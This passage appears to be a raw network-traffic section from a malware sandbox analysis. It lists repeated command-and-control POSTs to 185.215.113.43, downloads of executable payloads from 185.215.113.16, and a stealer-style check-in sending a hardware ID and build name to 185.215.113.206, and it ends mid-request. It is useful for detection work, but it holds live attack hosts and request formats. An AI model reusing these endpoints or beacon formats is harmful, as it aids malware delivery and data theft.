Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 41 37 39 42 36 35 30 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52A79B65082D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:34:33 GMTIf-None-Match: "67431d59-1c6200"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008767001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 24 Nov 2024 12:34:40 GMTIf-None-Match: "67431d60-1b7e00"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 38 37 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008768001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAEBGHCFCAAFIECAFIIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 36 38 32 45 37 39 42 32 46 35 38 33 34 31 39 37 30 35 32 34 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 45 42 47 48 43 46 43 41 41 46 49 45 43 41 46 49 49 49 2d 2d 0d 0a Data Ascii: ------BAEBGHCFCAAFIECAFIIIContent-Disposition: form-data; 